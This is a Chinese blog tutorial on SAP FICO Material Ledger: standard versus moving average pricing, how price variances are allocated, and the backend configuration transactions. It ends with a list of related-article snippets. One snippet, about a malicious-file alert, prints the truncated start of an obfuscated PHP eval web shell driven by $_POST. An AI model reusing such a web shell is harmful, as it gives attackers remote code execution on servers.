【SAP FICO】物料分类账详述

系列文章目录


文章目录

  • 系列文章目录
  • 前言
  • 一、必备基础
    • 1、标准价和移动平均价
    • 2、概念
    • 3、意义
    • 4、功能
  • 二、工作原理
  • 三、差异的种类与来源
    • 1、采用S价可能产生的差异
    • 2、单层价格差异和多层价格差异
  • 四、后台配置
  • 总结


前言

业务背景:中国会计准则规定,对存货的核算必须采用历史成本法(实际成本法),若企业采用计划成本法或定额成本法进行日常核算,应当按期结转其成本差异,将计划成本或者定额成本调整为实际成本


一、必备基础

主要用于对标准价计价的物料进行差异处理

注:标准价S(Standard Price)和移动平均价V(Moving Average Price,MAP)是两种常用的物料价格计算方法,主要用于库存评估、物料成本核算以及财务报告。这两种定价方法在成本控制、库存管理和财务核算上有不同的应用和影响。
标准价常用于自制的产成品、移动平均价常用于原材料和低价值、高频次采购的物料

启用物料分类账后,物料会计视图中会出现“价格确定”,如果物料采用V价,则价格确定维护2;如果物料采用S价,则价格确定维护3。V+2和S+3是固定的组合,否则可能出现差异无法分摊的情况。

具体的前台显示在MM03物料主数据中看到,这里采用的是S+3
在这里插入图片描述

1、标准价和移动平均价

在介绍物料分类帐前,先简单铺垫下标准价和移动平均价

  • 标准价
    • 定义:标准价是指在一定期间内,物料或产品的固定价格,通常用于成本计算和库存评估。
    • 计算方式:标准价是预先设定的,不随市场价格的波动而变动。它可能基于历史数据、未来预测和特定策略制定。
    • 优点:所有库存都以标准价过账、至少在一个期间价格维持一个常量、标准价格方便考核、所有物料类型都可以使用
    • 缺点:价格差异不能及时调整到库存和消耗上
  • 移动平均价
    • 定义:移动平均价是根据物料或产品的每次采购价格(或收货价格)实时计算得出的平均价格,反映了企业获得材料的历史成本。
    • 计算方式:移动平均价的计算公式为“最新移动平均价=(库存原值+变动价值)/(原库存数量+变动数量)”。每次采购或收货时,系统都会根据新的价格和数量重新计算移动平均价。
    • 优点:价格在每次收货时实时调整、实时的价格波动反映到库存中,只有在例外的情况下才会发生价格差异
    • 缺点:价格波动不能调整到更高一层的成品中,只建议给原材料或外部采购物料使用(收货时价格能确定),一旦出错,价格就会严重混乱,当多张发票滞后时,价格计算不能严格精确

2、概念

物料分类账(英文缩写ML):指在一定时期内对物料的收、发、存等一系列的后勤移动均采用物料主数据中所指定的标准价,到月末再根据订单发料、收货、发票校验等产生的差异通过物料账计算,在库存与消耗(有产出的消耗+销售、研发、成本中心领用)间进行分摊,使得月末物料的库存价值更接近于实际价值。
它满足大多数企业对差异的处理需求,一般生产型企业均会启用该功能。

3、意义

  • 记录差异、分摊差异;在期末分摊差异后,以实现还原物料的实际成本
  • 分析各个期间的实际成本和产品的实际料工费构成,进行实际成本的监控和分析

4、功能

物料分类账ML的功能:

  • 归集与分摊差异
  • 实际成本核算
    • 能计算并还原物料的实际成本,这对于企业来说是非常重要的,因为它可以帮助企业了解每个产品的真实成本,从而做出更准确的经营决策;
    • ML集中了移动平均价和标准价的各种优点,平时物料使用标准价格核算,差异收集方便成本管理分析,差异分析完毕后再在期末将他调整为实际成本,物料在重估后价格标志可从S变成V,价格则变成实际价格,即PUP(Period UnitPrice)周期单位价格,若采用标准价格控制S,平时用标准价核算,期末CKMLCP在结算重估物料才得到实际价格
  • 实现多币种评估方法:货币类型和评估参数文件合成评估方法,可以在ML中只使用多个货币类型,但是并不一定需要启动多级评估,通常将ML的货币类型设置为FICO货币,但FI可能启动附加本位币

二、工作原理

1、建立子账簿:激活物料分类账后,系统会在“工厂+物料”层(或更细的层次)为每个物料建立子账簿
2、记录差异:对于以标准价计价的物料,月中物料收发以标准价生成会计凭证,同时会在物料分类账中记录每一物料的差异归集情况
3、差异处理:月底运行完物料分类账之后,系统自动对差异进行处理。差异处理遵循以下逻辑:

  • 差异层层上卷:根据订单的投入产出顺序(原材料→半成品→产成品),将上一环节的差异逐层按相关的数量比例进行结转。
  • 差异随库存走:应该由期末库存承担的部分,系统将对应的差异金额还原到存货科目,将期末存货还原成实际成本。
  • 谁消耗,谁承担:当期消耗的存货,系统对差异进行重估,将差异调整到原始消耗中。例如,物料投入到成本中心,差异重估到成本中心;物料销售出库了,差异重估到主营业务成本。
  • 差异分摊逻辑
    • 差异从期初库存和入库中收集,在消耗和期末库存中分摊
    • 每单位数量的同一物料所分摊到的差异相同

简单来说,就是差异最后到库存消耗

可以用下面简单的进销存说明:

业务业务分类数量单级价格差异多级价格差异总价格差异
期初库存800-16001000-600
收入200-500700200
销存消耗300-550750200
销存期末库存700-1550950-600

三、差异的种类与来源

1、采用S价可能产生的差异

  • 采购差异
    • 价格差异
    • 收货时,采购价和标准价不同产生的差异
    • 发票校验时,价格变更产生的差异
    • 汇率差异
      • 外币采购时,发票交易时的汇率发生变化产生的差异
  • 价格重估差异:启动物料分类账后,系统为了保持期间数据的一致,采用标准价的物料若有交易一般不再允许修改单价
  • 生产订单差异:生产订单的实际投入与产出的差异
    生产成本结算差异 = 生产成本投入 - 生产成本产出

2、单层价格差异和多层价格差异

物料的价格差异又分为:单层价格差异和多层价格差异,通俗理解为,单层差异是由于物料本身而产生的差异,多层差异是由来自物料所处BOM的下层物料的差异而引起的该物料的差异

更详细的理解,可以参考下面(其实和上面“采用S价可能产生的差异”是一个道理)

  • 单层价格差异:原材料采用标准价格差异投到半成品,半成品生产订单的投入与产出间的差异是不包含原材料的,半成品再用到产成品上,成品的投入与产出差异也不包含半成品的差异

    • 材料采购差异:由于供应商价格变动、采购数量折扣、运输费用等因素导致的与标准成本或移动平均价的差异。
    • 生产订单差异:在生产过程中,由于生产效率、原材料消耗、人工费用等波动产生的成本差异。
    • 发票校验差异:发票价格与采购订单价格不一致时产生的差异。
    • 期初导入差异:在系统期初导入库存数据时,由于数据不准确或评估方式变化导致的差异。
  • 多层价格差异:通常发生在生产订单的BOM(物料清单)结构中,当生产订单中的某个物料(上层物料)使用了其他物料(下层物料)时,下层物料的差异会按照BOM结构分摊到上层物料上

四、后台配置

1、检查控制范围的货币类型
TCODE:OKKP
路径:控制->一般控制->组织结构->维护成本控制范围
需要设置为“10-公司代码货币”或者是“30-集团公司货币”,不可以设置为“20-控制代码货币”。
在这里插入图片描述
2、 价格差异科目
TCODE:OBYC
路径:物料管理->评估和科目设置->科目确定->无向导的科目确定->配置自动记帐分配到成本控制范围
在这里插入图片描述

3、检查物料分类帐设置
TCODE:CKM9
路径:控制->产品成本控制->实际成本核算/物料分类帐->激活评估范围的物料分类账->检查物料分类账设置
在这里插入图片描述
4、激活物料分类账
TCODE:OMX1
路径:控制->产品成本控制->实际成本核算/物料分类帐->激活评估范围的物料分类账->激活物料分类账
勾选ML科目
价格确定有2-基于交易的,3-单/多级
在评估范围中价格确定的绑定:勾选----表示该价格确定方式会关联该工厂下的所有物料上,和物料主数据里面的价格确定方式是对应的,一般不勾。
在这里插入图片描述
5、定义物料分类账类型
TCODE:OMX2
路径:控制->产品成本控制->实际成本核算/物料分类帐->分配货币类型给物料分类帐类型

用系统的9000类型
在这里插入图片描述
6、为物料分类账分配物料分类账类型
TCODE:OMX3
路径:控制->产品成本控制->实际成本核算/物料分类帐->分配材料分类帐类型给评估区域
物料总账类型填9000
评估范围这里填工厂
在这里插入图片描述
7、维护物料分类帐凭证的编号范围
TCODE:OMX4
路径:控制->产品成本控制->实际成本核算/物料分类帐->维护材料分类帐文档的编号范围

在这里插入图片描述
物料分类账凭证的编号范围:物料分类账运行业务时的编号
在这里插入图片描述
维护财务会计凭证类型:维护类型为ML的的凭证类型
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
科目凭证号码范围:维护ML产生的会计凭证的编号

8、维护价格动态发布
路径:控制->产品成本控制->实际成本核算/物料分类帐->设置动态价格变化
在这里插入图片描述
9、定义材料分类账组变化类型
路径:控制->产品成本控制->实际成本核算/物料分类帐->物料更新->定义材料分类帐组的变化类型
消耗重估类型:1-总账科目的重估:表示差异直接结转到某个总账科目上;
2-总账科目的重估和CO科目分配:表示找到原来的科目(配置的)和成本对象并结转到源头,而不是笼统的全部结转至某个总账科目上
在这里插入图片描述
10、指定材料分类账组变化类型
路径:控制->产品成本控制->实际成本核算/物料分类帐->物料更新->指定材料分类帐组的变化类型
Mvt:移动标识
Rec:收货标识
给移动类型指定业务类型组10(MTG)
在这里插入图片描述
11、定义材料更新结构
路径:控制->产品成本控制->实际成本核算/物料分类帐->物料更新->定义材料更新结构
在这里插入图片描述
12、指定材料更新结构给评估区域
路径:控制->产品成本控制->实际成本核算/物料分类帐->物料更新->指定材料更新结构给评估区域
ValA:评估范围
在这里插入图片描述
13、激活实际成本核算
路径:控制->产品成本控制->实际成本核算/物料分类帐->实际成本核算->激活实际成本核算

ActAct:0-没有作业更新;
1-作业更新不与价格确定相关:表示作业差异会还原到生产订单上面去(料工费中工费是实际的价格);
2-作业更新与价格确定相关(作业差异不还原到生产订单上面去,而是通过物料分类账还原到产品成本上面去)
在这里插入图片描述
14、激活实际成本组件划分
路径:控制->产品成本控制->实际成本核算/物料分类帐->实际成本核算->激活实际成本组件划分

在这里插入图片描述
15、激活实际成本的在产品
路径:控制->产品成本控制->实际成本核算/物料分类帐->实际成本核算->激活实际成本的在产品
在这里插入图片描述
汇总:常用物料分类账后台配置


总结

提示:这里对文章进行总结:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/938918.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

电脑文档损坏:原因剖析和修复方法

在使用电脑的过程中,许多用户可能会遇到文档突然提示损坏、无法打开的情况。这种情况的发生往往让人感到困惑,特别是当并未进行任何明显错误操作时。以下是一些常见的原因以及应对方法。 一、文档损坏的常见原因 1、非人为的异常操作: 在编…

使用国内镜像网站在线下载安装Qt(解决官网慢的问题)——Qt

国内镜像网站 中国科学技术大学:http://mirrors.ustc.edu.cn/qtproject/清华大学:https://mirrors.tuna.tsinghua.edu.cn/qt/北京理工大学:http://mirror.bit.edu.cn/qtproject/ 南京大学:https://mirror.nju.edu.cn/qt腾讯镜像&…

活动预告|云原生创新论坛:知乎携手 AutoMQ、OceanBase、快猫星云的实践分享

近年来,云原生技术迅猛发展,成为企业数字化转型的关键动力,云原生不仅极大地提升了系统的灵活性和可扩展性,还为企业带来了前所未有的创新机遇。 12 月 28 日 知乎携手 AutoMQ、OceanBase 和快猫星云推出“云原生创新论坛”主题的…

02-2.python入门语法一变量与数据类型2

四、Python 整数数据类型 (一)整数的表示方式 1. 十进制表示 十进制是我们在日常生活中最常用的数字表示形式,由 0 到 9 这十个数字排列组合而成。 2. 二进制表示 二进制数由 0 和 1 这两个数字组成,在 Python 中,…

如果在 Swift 数组中寻找最大相邻差值的线性时间算法

文章目录 摘要问题描述解决方案Swift 代码实现代码解析测试用例及结果时间复杂度空间复杂度总结 摘要 本文探讨如何在未排序的数组中,通过线性时间算法找到排序后相邻元素之间的最大差值。我们采用桶排序的思想,给出一个高效的 Swift 实现,并…

EasyExcel 动态设置表格的背景颜色和排列

项目中使用EasyExcel把数据以excel格式导出&#xff0c;其中设置某一行、某一列单元格的背景颜色、排列方式十分常用&#xff0c;记录下来方便以后查阅。 1. 导入maven依赖&#xff1a; <dependency><groupId>com.alibaba</groupId><artifactId>easy…

如何在谷歌浏览器中设置标签页分组

在日常浏览网页时&#xff0c;我们常常会打开多个标签页。随着标签页数量的增加&#xff0c;管理它们变得越来越困难。幸运的是&#xff0c;谷歌浏览器提供了一些实用的功能&#xff0c;可以帮助我们更好地组织和分组标签页。本教程将向您展示如何设置标签页分组&#xff0c;并…

多协议视频监控汇聚/视频安防系统Liveweb搭建智慧园区视频管理平台

智慧园区作为现代化城市发展的重要组成部分&#xff0c;不仅承载着产业升级的使命&#xff0c;更是智慧城市建设的重要体现。随着产业园区竞争的逐渐白热化&#xff0c;将项目打造成完善的智慧园区是越来越多用户关注的内容。 然而我们往往在规划前期就开始面临众多难题&#…

vscode中同时运行两个python文件(不用安装插件)

如何在vscode中同时运行两个python文件呢&#xff1f;今天在工作中遇到了这个问题。 查了网上的方法是安装coder runner插件&#xff0c;后来发现自身就有这个功能。所以记录一下,方便后续查找: 这是我的第一个文件&#xff0c;点击右上角的运行旁边的小箭头&#xff0c;有一…

java全栈day17--Web后端实战(java操作数据库)

前言&#xff1a;本章应该是针对数据库基础讲解&#xff0c;数据的增删改查但是本人忘记对知识进行归纳总结就直接跳过&#xff0c;基本的内容都很简单&#xff0c;都是套式子使用。现在开始学习本章&#xff0c;很重要需要好好掌握。 一、使用的工具 二、JDBC 2.1概述 JDBC …

谷歌发布最新视频生成模型 Veo 2:视频生成AI新王牌

谷歌 在当今数字化快速发展的时代&#xff0c;人工智能视频生成技术正不断突破创新。就在12月17日&#xff0c;谷歌推出了一个新的视频模型 Veo 2 。 Veo 2 Veo 2 Veo 2 可以创建各种主题和风格的高质量视频。在谷歌官方由人工评估员判断中&#xff0c;Veo 2 与领先模型相比取得…

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

【C++游记】string的使用和模拟实现

枫の个人主页 你不能改变过去&#xff0c;但你可以改变未来 算法/C/数据结构/C Hello&#xff0c;这里是小枫。C语言与数据结构和算法初阶两个板块都更新完毕&#xff0c;我们继续来学习C的内容呀。C是接近底层有比较经典的语言&#xff0c;因此学习起来注定枯燥无味&#xf…

Dcoker Redis哨兵模式集群介绍与搭建 故障转移 分布式 Java客户端连接

介绍 Redis 哨兵模式&#xff08;Sentinel&#xff09;是 Redis 集群的高可用解决方案&#xff0c;它主要用于监控 Redis 主从复制架构中的主节点和从节点的状态&#xff0c;并提供故障转移和通知功能。通过 Redis 哨兵模式&#xff0c;可以保证 Redis 服务的高可用性和自动故…

golang操作sqlite3加速本地结构化数据查询

目录 摘要Sqlite3SQLite 命令SQLite 语法SQLite 数据类型列亲和类型——优先选择机制 SQLite 创建数据库SQLite 附加数据库SQLite 分离数据库 SQLite 创建表SQLite 删除表 SQLite Insert 语句SQLite Select 语句SQLite 运算符SQLite 算术运算符SQLite 比较运算符SQLite 逻辑运算…

Android v4和v7冲突

android.useAndroidXtrue android.enableJetifiertruev4转成AndroidX

【MySQL】优雅的使用MySQL实现分布式锁

MySQL实现分布式锁 引言二、基于唯一索引2.1、实现思路2.2、代码实现2.3、 测试代码2.4、小结 三、基于悲观锁3.1 、实现思路3.2、代码实现3.3、测试代码3.4、小结 四、基于乐观锁4.1 、实现思路4.2 、代码实现4.3 、测试代码4.4、小结 总结 引言 在文章《Redis实现分布式锁详…

生活小妙招之UE CaptureRT改

需求&#xff0c;四个不同的相机拍摄结果同屏分屏显示 一般的想法是四个Capture拍四张RT&#xff0c;然后最后在面片/UI上组合。这样的开销是创建4张RT&#xff0c;材质中采样4次RT。 以更省的角度&#xff0c;想要对以上流程做优化&#xff0c;4个相机拍摄是必须的&#xff…

1 JVM JDK JRE之间的区别以及使用字节码的好处

JDK jdk是编译java源文件成class文件的&#xff0c;我们使用javac命令把java源文件编译成class文件。 我们在java安装的目录下找到bin文件夹&#xff0c;如下图所示: 遵循着编译原理&#xff0c;把java源文件编译成JVM可识别的机器码。 其中还包括jar打包工具等。主要是针对…